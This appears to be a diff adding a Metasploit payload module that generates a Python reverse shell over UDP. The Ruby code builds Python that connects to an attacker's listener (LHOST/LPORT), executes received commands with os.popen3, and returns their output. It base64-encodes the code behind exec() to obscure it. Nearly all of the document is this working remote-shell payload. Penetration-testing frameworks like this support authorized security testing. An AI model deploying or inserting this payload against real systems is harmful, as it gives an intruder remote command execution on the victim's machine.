Python shell via reverse UDP

Python-based UDP egress shell, another PoC of the protocol used
as a raw transport.

Author: RageLtMan

modules/payloads/singles/python/shell_reverse_udp.rb

@@ -0,0 +1,70 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_udp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  CachedSize = 397
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Command Shell, Reverse UDP (via python)',
+      'Description'   => 'Creates an interactive shell via python, encodes with base64 by design. Compatible with Python 2.3.3',
+      'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'python',
+      'Arch'          => ARCH_PYTHON,
+      'Handler'       => Msf::Handler::ReverseUdp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'python',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    cmd = ''
+    dead = Rex::Text.rand_text_alpha(2)
+    # Set up the socket
+    cmd << "import socket,os\n"
+    cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
+    cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
+    # The actual IO
+    cmd << "#{dead}=False\n"
+    cmd << "while not #{dead}:\n"
+    cmd << "\tdata=so.recv(1024)\n"
+    cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
+    cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
+    cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
+    cmd << "\tso.send(stdout_value)\n"
+
+    # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
+    cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
+
+    cmd
+  end
+
+end
+